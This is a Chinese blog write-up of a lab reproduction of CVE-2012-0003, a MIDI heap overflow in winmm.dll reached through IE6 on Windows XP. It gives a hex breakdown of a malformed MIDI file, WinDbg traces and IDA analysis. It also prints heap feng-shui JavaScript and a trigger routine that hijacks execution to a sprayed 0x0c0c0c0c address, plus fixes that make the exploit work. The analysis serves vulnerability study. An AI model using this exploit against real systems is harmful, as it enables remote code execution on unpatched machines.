动手实验 CVE-2012-0003 Microsoft Windows Media Player winmm.dll MIDI文件堆溢出(坑多)


还是动手实践的堆溢出的调试记录,了解了 堆的调试技巧IE的调试、以及一个很精彩的 漏洞利用方式(堆溢出,只能将一个字节+1的情况下如何利用?应该属于 类型混淆吧)类似这个比较相似的利用原理
https://www.blackhat.com/docs/eu-15/materials/eu-15-Chen-Hey-Man-Have-You-Forgotten-To-Initialize-Your-Memory.pdf

一、MIDI文件格式

MIDI文件由chunk组成,每个chunk由4字节的type(ascii字符如’MThd’)+ 4字节data len + data组成
chunk有两种类型:

  1. header chunk(头块):包含整个MIDI文件的基本信息。type为’MThd’
  2. track chunk(音轨块):包含最多16个MIDI通道数据流,包含MIDI序列、模式、歌曲信息。type为’MTrk’

1.header chunk

header chunk在文件的开头,记录了MIDI文件的基本信息
可以表示为<Header Chunk> = <chunk type><length><format><ntrks><division>

  • chunk type:4字节,固定为’MThd‘
  • lenght:4字节,数据长度,固定为6(00 00 00 06)
  • format:2字节,文件类型
    0表示the file contains a single multi-channel track(单个multi-channe)
    1表示the file contains one or more simultaneous tracks (or MIDI outputs) of a sequence
    2表示the file contains one or more sequentially independent single-track patterns
  • ntrks:音轨数(format为0时固定为1)
  • division:时间计数值,节拍?根据15bit分为两种类型。0为ticks per quarter-note,1为negative SMPTE format

2.Track Chunks

音轨块实际存储歌曲数据,每个块就是一个MIDI数据流可表示为<Track Chunk> = <chunk type><length><MTrk event>+ +号表示可以有多个MTrk event。
MTrk event可以有多个,表示为<MTrk event> = <delta-time><event>
delta-time:间隔时间?如果两个事件同时发生则表示为0。variable Length Quantity类型
event:事件信息可以是下面3种事件中的一种,可表示为<event> = <MIDI event> | <sysex event> | <meta-event>。基本形式都是MIDI Message+Data Bytes+Data。具体的看的信息可以去参考详细event解析

3.test_case.mid分析

拿《漏洞战争》中的样本test_case.mid分析,这里使用了LarryS的分析结果

4D 54 68 64  // MThd 四字节的type信息,表示这是一个header trunk
00 00 00 06  // 四字节length信息,表示该header trunk后面的长度是6字节
00 00        // Format = 0, 表示文件只包含一个multi-channel track
00 01        // num of tracks = 1,和format = 0相对应
00 60        // 对delta-times的解释,第15位为0,所以后面0x60表示ticks per quarter-note,是个音乐概念,不太懂
4D 54 72 6B  // MTrk 四字节的type信息,表示这是一个track trunk
00 00 00 35  // 四字节length信息,表示该track trunk后面的长度是53字节
00           // delta-time, 这块数据采用的是variable length quantity
FF 03 0D 44 72 75 6D 73 20 20 20 28 42 42 29 00 // meta-event,sequence的名字:Drums   (BB)
00 C9 28     // 新的program数值为40
00 B9 07 64  // 音量变化
00 B9 0A 40  // Pan?? 不知道是什么
00 B9 7B 00  // 所有音符结束
00 B9 5B 28  // 效果1深度
00 B9 5D 00  // 效果3深度
85 50 99 23 7F //85 50是delta-time 0x23号音符开始
00 9F B2 73  // 0xB2号音符开始,注意这里B2的最高比特位是1,是不合法的
00 FF 2F 00  // track结束

二、漏洞调试

1.漏洞环境

环境备注
操作系统windows XP sp3中文版
漏洞模块winmm.dll5.1.2600.5512
漏洞环境IExplore6.00.2900.5512

2.触发漏洞

为IE添加hpa保护,方便调试
在这里插入图片描述
将《漏洞战争》中的样本cve-2012-0003-ie6.htm和test_case.mid复制到实验环境中,双击htm再用windbg附加。点击允许阻止的内容,安全警告点击“是”。
在这里插入图片描述
漏洞点在0x76b2d224 mov al,byte ptr[esi]。esi无法访问

0:007> g
(acc.24c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=03149019 edi=27cfef60
eip=76b2d224 esp=2821fe80 ebp=2821fea0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06            mov     al,byte ptr [esi]          ds:0023:03149019=??

查看esi的堆信息,堆起始为0x3148c00,大小为0x400。esi超过堆的界限所以报错

0:010> !heap -p -a esi
    address 03149019 found in
    _DPH_HEAP_ROOT @ 141000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 3d847f8:          3148c00              400 -          3148000             2000

查看调用情况(需要在windbg里面设置symbols否则函数识别会出错),确定漏洞出在WINMM.dll中。查看WINMM.dll的信息

0:010> kb
ChildEBP RetAddr  Args to Child              
2821fea0 76b2d2e5 b2e81ad0 76b2d296 00000010 WINMM!midiOutPlayNextPolyEvent+0x1ec
2821feb4 76b154e3 00000010 00000000 00000ea6 WINMM!midiOutTimerTick+0x4f
2821fedc 76b2adfe 76b2d296 00000003 00000010 WINMM!DriverCallback+0x5c
2821ff18 76b2af02 00000010 015c0000 b1cebd08 WINMM!TimerCompletion+0xf4
2821ffb4 7c80b713 00000000 015c0000 015c0000 WINMM!timeThread+0x53
2821ffec 00000000 76b2aeaf 00000000 00000000 kernel32!BaseThreadStart+0x37

0:010> lm vm WINMM
start    end        module name
76b10000 76b3a000   WINMM      (pdb symbols)          c:\windows\symbols\dll\winmm.pdb
    Loaded symbol image file: C:\WINDOWS\system32\WINMM.dll
    Image path: C:\WINDOWS\system32\WINMM.dll
    Image name: WINMM.dll
    Timestamp:        Mon Apr 14 10:13:53 2008 (4802BDE1)
    CheckSum:         0002C65D
    ImageSize:        0002A000
    File version:     5.1.2600.5512
    Product version:  5.1.2600.5512
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0804.04b0
    CompanyName:      Microsoft Corporation
    ProductName:      Microsoft(R) Windows(R) Operating System
    InternalName:     winmm.dll
    OriginalFilename: WINMM.DLL
    ProductVersion:   5.1.2600.5512
    FileVersion:      5.1.2600.5512 (xpsp.080413-0845)
    FileDescription:  MCI API DLL
    LegalCopyright:   (C) Microsoft Corporation. All rights reserved.

3.ida查看反汇编代码

在midiOutPlayNextPolyEvent函数中将影响最终访问的代码列出来

v2 = *(WPARAM **)(wParam + 60);
v2[9] += 4;
v7 = v2[9];
v7 += 4;

v8 = *(_DWORD *)(v7 + wParama)
v10 = v8&0xffffff
v17 = v10
if ( (v10 & 0x80u) != 0 )
{
  wParam_3a = BYTE1(v10);
}
else
{
  v17 = *(_BYTE *)(wParam + 84);
  wParam_3a = v10;
}
v16 = *(_DWORD *)(wParam + 0x84);
if ( (v17 & 0xF0) == 0x90 || (v17 & 0xF0) == 0x80 )
{
	v19 = (wParam_3a + ((v17 & 0xF) << 7)) / 2;
	...
	v20 = (char *)(v19 + v16);
	v21 = *v20;                               // 漏洞产生点
}

按照导图推算的方法给所有关键的变量设置断点记录每次运行时的变化

//关键的赋值
76B2D041 mov     edi, [ebp+wParam]	; wParam edi
76B2D050 mov     esi, [edi+3Ch]		;v2 esi
76B2D09D add     ebx, 4				;v7 ebx
76B2D0B5 mov     ecx, [ebx+eax]		;v8 ecx
76B2D0C3 and     ecx, 0FFFFFFh		;v10 ecx
76B2D1C7 mov     al, cl				;v17 al
76B2D1EB mov     byte ptr [ebp+wParam+3], dl;wParam+3 dl
76B2D1D0 mov     byte ptr [ebp+wParam+3], cl;wParam+3 cl
76B2D1CD mov     al, [edi+54h]		;v17 al
76B2D212 sar     eax, 1				;v19 eax
76B2D21E add     esi, eax			;v20 esi
76B2D224 mov     al, [esi]       ; 漏洞点
//给设置断点并记录信息
bu 76B2D044 ".echo 'wParam';r edi;g;"
bu 76B2D053 ".echo 'v2';r esi;g;"
bu 76B2D0A0 ".echo 'v7';r ebx;g;"
bu 76B2D0B8 ".echo 'v8';r ecx;g;"
bu 76B2D0C9 ".echo 'v10';r ecx;g;"
bu 76B2D1C9 ".echo 'v17';r al;g;"  
bu 76B2D1D0 ".echo 'v17';r al;.echo 'wParam_3a';r cl;g;"
bu 76B2D1EB ".echo 'wParam_3a';r dl;g;"
bu 76B2D214 ".echo 'v19';r eax;g;"
bu 76B2D220 ".echo 'v16';r esi;g;"
bu 76B2D224 ".echo 'v20';r esi;g;"

两次运行之后得到如下信息,对比test_case.mid可知

  1. v2没有改变

  2. v7每次增长0xC

  3. v8和v10相同

  4. 最关键的是v17对应的是MIDI文件的事件码,wParam_3a对应事件码后面的参数信息

  5. 第二次运行时,v16明显是基址,v19为偏移
    在这里插入图片描述
    在这里插入图片描述
    偏移的计算(v19)过程
    偏移过大的产生:0x419 = (0xB2+0xF<<7)/2
    在这里插入图片描述
    在这里插入图片描述
    基址的计算(v16)
    v16 = *(_DWORD *)(wParam + 0x84)。wParam为函数调用时传入的参数。交叉引用可以知道midiOutTimerTick调用了midiOutPlayNextPolyEvent
    所以wParam= *(_DWORD *)(gpEmuList+0x84)
    在这里插入图片描述
    继续查看gpEmuList的交叉引用
    所以最终wParam=winmmAlloc(0x400),这也是为什么堆的大小是0x400
    在这里插入图片描述
    漏洞可以做什么?
    能对目标进行加1操作,条件为[(wParam_3a&1) == 0 &&( v22&0xF)≠0xF]

  6. 一次溢出读一字节

  7. 对溢出读的内容加1

  8. 对溢出点写回
    在这里插入图片描述

三、漏洞利用

漏洞能够对某个地址的值+1。下面是部分利用代码

  1. 创建了select对象selob
  2. 为selob分配了64个属性,其中w1为string对象,其他为object对象
  3. 创建一个大小为1000的数组clones,并调用selob.clone进行复制
  4. 间隔释放clones数组中的元素,目的是创造很多0x400的空闲堆,使MIDI能够申请到。
var selob = document.createElement("select")
selob.w0 = alert
selob.w1 = unescape("%u1be4%u0c0c")
selob.w2 = alert
selob.w3 = alert
selob.w4 = alert
selob.w5 = alert
selob.w6 = alert
selob.w7 = alert
selob.w8 = alert
selob.w9 = alert
selob.w10 = alert
selob.w11 = alert
selob.w12 = alert
selob.w13 = alert
selob.w14 = alert
selob.w15 = alert
selob.w16 = alert
selob.w17 = alert
selob.w18 = alert
selob.w19 = alert
selob.w20 = alert
selob.w21 = alert
selob.w22 = alert
selob.w23 = alert
selob.w24 = alert
selob.w25 = alert
selob.w26 = alert
selob.w27 = alert
selob.w28 = alert
selob.w29 = alert
selob.w30 = alert
selob.w31 = alert
selob.w32 = alert
selob.w33 = alert
selob.w34 = alert
selob.w35 = alert
selob.w36 = alert
selob.w37 = alert
selob.w38 = alert
selob.w39 = alert
selob.w40 = alert
selob.w41 = alert
selob.w42 = alert
selob.w43 = alert
selob.w44 = alert
selob.w45 = alert
selob.w46 = alert
selob.w47 = alert
selob.w48 = alert
selob.w49 = alert
selob.w50 = alert
selob.w51 = alert
selob.w52 = alert
selob.w53 = alert
selob.w54 = alert
selob.w55 = alert
selob.w56 = alert
selob.w57 = alert
selob.w58 = alert
selob.w59 = alert
selob.w60 = alert
selob.w61 = alert
selob.w62 = alert
selob.w63 = alert

	var clones=new Array(1000);

	function feng_shui() {


		var i = 0;
		while (i < 1000) {
			clones[i] = selob.cloneNode(true)
			i = i + 1;
		}

		var j = 0;
		while (j < 1000) {
			delete clones[j];
			CollectGarbage();
			j  = j + 2;
		}

	}

	feng_shui();

查看mshtml.dll(处理ie中html解析模块)中用于处理元素复制的函数CElement::Clone,CElement::Clone会调用CAttrArray::Clone

  1. 创建CAttrArray结构体
  2. EnsureSize调整大小为0x10*0x40(属性数量)=0x400。(出现了和LarryS师傅一样的问题,这里是0x42)
  3. 从不是0x3开头的元素开始复制(b1==3应该都是header类型)
  4. 最后会为元素数组添加header
//这是自己猜测的CAttrArray结构体,主要关注前两个字段
struct CAttrArray{
	DWORD nSize;//元素数组大小
	struct CAttrValue* ptrAttrArray;//指向AttrArray元素数组
	DWORD unkonw;//这次漏洞没有用到不做分析
}
//只保留了最关键的代码
int __thiscall CAttrArray::Clone(CAttrArray *this, struct CAttrArray **a2)
{
	v3 = (CAttrArray *)_MemAlloc(0xCu);
	v4 = CAttrArray::CAttrArray(v3);            // 创建CAttrArray结构体
	v17 = CImplAry::EnsureSize(v4, 0x10u, *(_DWORD *)this >> 2);// 根据传入的CAttrArray计算大小
	v9 = *((_DWORD *)this + 1);//CAttrArray保存元素属性的地址	
	while(1)
	{
		if ( *(_BYTE *)v9 != 3 || v19 )           // 从开头不是0x03的元素(即b1!=3)才能复制
		{
			v17 = CAttrValue::Copy((CAttrValue *)v8, (const struct CAttrValue *)v9);// 循环复制
		}
	}
	v21 = (struct CAttrArray **)CAttrArray::EnsureHeader(*a2, 1);// 为元素数组添加Header(0x10大小)
}

在这里插入图片描述
在EnsureSizey函数下断点查看申请的堆大小应该是0x10*0x42=0x420。ecx中保存了CAttrArray结构体,查看可知最后分配了0x480大小的堆。这和我们的目标0x400不一致。

0:007> g
Breakpoint 0 hit
eax=0176c370 ebx=0176c28c ecx=0176c370 edx=00000042 esi=017698b0 edi=00000000
eip=7e38e7ff esp=0012de68 ebp=0012de90 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CAttrArray::Clone+0x5a:
7e38e7ff e8acb8eeff      call    mshtml!CImplAry::EnsureSize (7e27a0b0)
0:000> dd esp L3
0012de68  00000010 00000042 00000000
0:000> p
eax=00000000 ebx=0176c28c ecx=7c9301bb edx=00140608 esi=017698b0 edi=00000000
eip=7e38e804 esp=0012de70 ebp=0012de90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CAttrArray::Clone+0x5f:
7e38e804 85c0            test    eax,eax
0:000> dd 0176c370  
0176c370  00000000 001d5778 00000000 00000000
0176c380  00000000 00000000 00000000 00000000
0176c390  00000000 00000000 00000000 00000000
0176c3a0  00000000 00000000 00000000 00000000
0176c3b0  00000000 00000000 00000000 00000000
0176c3c0  00000000 00000000 00000000 00000000
0176c3d0  00000000 00000000 00000000 00000000
0176c3e0  00000000 00000000 00000000 00000000
0:000> !heap -p -a 001d5778 
    address 001d5778 found in
    _HEAP @ 140000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        001d5770 0091 0000  [01]   001d5778    00480 - (busy)

先假设exp没问题,继续看如何触发执行
3. 当漏洞触发时,midi能够申请到clones其中一个被释放的堆快,并且会将0x08修改为0x09
4. 判断w1的属性是否不是string(即是否被修改),成功修改则去执行。会调用CAttrValue::GetIntoVariant
5. 因为已经将类型修改为0x09最后会去0x0c0c0c0c执行shellcode。

function trigger(){
		var k = 999;
		while (k > 0) {
			if (typeof(clones[k].w1) == "string") {
			} else {
				clones[k].w1('come on!');
			}
			k = k - 2;
		}
		feng_shui();
		document.audio.Play();
	}

在这里插入图片描述

这里有两个问题

  1. 为什么一开始给的属性个数是0x42?
  2. 为什么CImplAry::EnsureSize之后大小是0x480而不是0x42?

先解决第2个问题,具体看一下EnsureSize代码。EnsureSize会对给的属性个数进行对齐,0x42对齐之后变成了0x48,所以最后堆大小为0x480。

int __thiscall CImplAry::EnsureSize(CImplAry *this, SIZE_T dwBytes, unsigned int a3)
{
	v3 = a3;//v3 a3表示属性个数0x42
	v5 = dwBytes;//后面dwBytes是临时变量存放计算的结果
	a3 = UIntAdd(v3, 7u, &dwBytes);//0x42+7=0x49
	v6 = v3 >= 8 ? dwBytes & 0xFFFFFFF8 : v3;//结合上面的+7,就是为了向上和8对齐,0x49变成0x48
	a3 = UIntMult(v6, v5, &dwBytes);//0x48*0x10=0x480得到真正大小
	v13 = (void *)_MemAlloc(dwBytes);//开辟0x480的内容
}

再解决第1个问题,在CAttrArray::Clone函数开头下断点查看用于复制的内容,根据前面猜测AttrArray结构体可知nszie为0x108(0x108>>2等于0x42),02330d78中保存了CAttrValue数组,除了前两行(第一行应该是header,第二行没找到出处),后面和我们在js中设置的符合。
这里猜测,在设置select属性之前,select的父类设置了1个基本属性并且在数组开头设置了header,导致我们设置了64个属性后占了66个属性的空间,再加上EnsureSize的对齐操作最后导致申请了0x480的堆

0:000> bp 7E38E7A5
0:000> g
(1f8.894): Break instruction exception - code 80000003 (first chance)
eax=7ffdd000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=01f6ffcc ebp=01f6fff4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
7c92120e cc              int     3
0:007> g
Breakpoint 0 hit
eax=0176c28c ebx=00000058 ecx=01769530 edx=0012dea8 esi=01769e80 edi=00000000
eip=7e38e7a5 esp=0012de94 ebp=0012df28 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CAttrArray::Clone:
7e38e7a5 8bff            mov     edi,edi
//查看AttrArray结构体
0:000> dd ecx
01769530  00000108 02330d78 16e37040 00000000
01769540  00000902 002dc6c1 00000000 01769f70
01769550  00000004 00310077 00000000 00000000
01769560  00000902 002dc6c1 00000000 01769f70
01769570  00000802 002dc6c2 00000000 001b000c
01769580  7e4b6188 00000002 7e2234ac 01769fa0
01769590  7e26da30 00000000 00000000 00000000
017695a0  00000004 00000000 00000000 00000000
//查看数组内容
0:000> db 02330d78
02330d78  03 81 00 00 00 00 00 80-00 00 00 00 40 c2 76 01  ............@.v.
02330d88  03 0d 00 00 f5 13 01 80-00 00 00 00 78 bf 39 00  ............x.9.
02330d98  02 09 00 00 c1 c6 2d 00-00 00 00 00 70 9f 76 01  ......-.....p.v.
02330da8  02 08 00 00 c2 c6 2d 00-00 00 00 00 0c 00 1b 00  ......-.........
02330db8  02 09 00 00 c3 c6 2d 00-00 00 00 00 80 95 76 01  ......-.......v.
02330dc8  02 09 00 00 c4 c6 2d 00-00 00 00 00 f0 95 76 01  ......-.......v.
02330dd8  02 09 00 00 c5 c6 2d 00-00 00 00 00 70 96 76 01  ......-.....p.v.
02330de8  02 09 00 00 c6 c6 2d 00-00 00 00 00 00 97 76 01  ......-.......v.
//计算元素个数
0:000> ?108>>2
Evaluate expression: 66 = 00000042
//查看堆信息
0:000> !heap -p -a 02330d78
    address 02330d78 found in
    _HEAP @ 140000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        02330d70 0091 0000  [01]   02330d78    00480 - (busy)

在CAttrArray::Clone中的MemAlloc之后下断点,查看eax得到CAttrArray对象,再在CAttrArray::Clone返回之前下断点查看复制完成后的CAttrArray对象。结合前面的CAttrArray::Clone代码,可知在复制的时候只会将b1=0x02的属性进行复制,最后在EnsureHeader添加Header

0:000> bp 7E38E7BD
0:000> bp 7E38E7EB
0:000> g
(6dc.454): Break instruction exception - code 80000003 (first chance)
eax=7ffde000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=01f6ffcc ebp=01f6fff4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
7c92120e cc              int     3
0:007> g
Breakpoint 0 hit
eax=0176c370 ebx=00000058 ecx=0000c000 edx=7e4b5de0 esi=01769530 edi=00000000
eip=7e38e7bd esp=0012de70 ebp=0012de90 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CAttrArray::Clone+0x18:
7e38e7bd 85c0            test    eax,eax
0:000> dd eax
0176c370  00000000 00000000 00000000 00000000
0176c380  00000000 00000000 00000000 00000000
0176c390  00000000 00000000 00000000 00000000
0176c3a0  00000000 00000000 00000000 00000000
0176c3b0  00000000 00000000 00000000 00000000
0176c3c0  00000000 00000000 00000000 00000000
0176c3d0  00000000 00000000 00000000 00000000
0176c3e0  00000000 00000000 00000000 00000000
0:000> g
Breakpoint 1 hit
eax=001d5778 ebx=0176c28c ecx=00000104 edx=00000000 esi=00000000 edi=02231198
eip=7e38e7eb esp=0012de70 ebp=0012de90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CAttrArray::Clone+0x46:
7e38e7eb 8b45f4          mov     eax,dword ptr [ebp-0Ch] ss:0023:0012de84=00000000
0:000> dd 0176c370  
0176c370  00000104 001d5778 16e37040 00000000
0176c380  ffffffff 00000000 00000000 00000000
0176c390  00000000 00000000 00000000 00000000
0176c3a0  00000000 00000000 00000000 00000000
0176c3b0  00000000 00000000 00000000 00000000
0176c3c0  00000000 00000000 00000000 00000000
0176c3d0  00000000 00000000 00000000 00000000
0176c3e0  00000000 00000000 00000000 00000000
0:000> db 001d5778 
001d5778  03 81 00 00 00 00 00 80-00 00 00 00 80 c3 76 01  ..............v.
001d5788  02 09 00 00 c1 c6 2d 00-00 00 00 00 70 9f 76 01  ......-.....p.v.
001d5798  02 08 00 00 c2 c6 2d 00-00 00 00 00 bc af 1a 00  ......-.........
001d57a8  02 09 00 00 c3 c6 2d 00-00 00 00 00 80 95 76 01  ......-.......v.
001d57b8  02 09 00 00 c4 c6 2d 00-00 00 00 00 f0 95 76 01  ......-.......v.
001d57c8  02 09 00 00 c5 c6 2d 00-00 00 00 00 70 96 76 01  ......-.....p.v.
001d57d8  02 09 00 00 c6 c6 2d 00-00 00 00 00 00 97 76 01  ......-.......v.
001d57e8  02 09 00 00 c7 c6 2d 00-00 00 00 00 c0 9a 76 01  ......-.......v.

修改shellcode

根据前面EnsureSize的规则和EnsureHeader的了解,我们需要将原来的w0去除(因为多了一个header),使w1还是在原来的偏移处,还需要去掉最后一个w63,使clone时申请0x400大小。为了测试把堆喷的shellcode改成calc.exe。
在这里插入图片描述

四、总结及参考

最大的坑在设置属性的个数上。其他的触发和书上一样。
最后感谢LarryS的文章,基本都是照着看。本来想探索一下属性设置的过程(实力有限呀)

参考
《漏洞战争》
CVE-2012-0003 winmm.dll MIDI文件堆溢出漏洞分析及利用

Standard MIDI-File Format Spec. 1.1, updated

https://www.blackhat.com/docs/eu-15/materials/eu-15-Chen-Hey-Man-Have-You-Forgotten-To-Initialize-Your-Memory.pdf

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值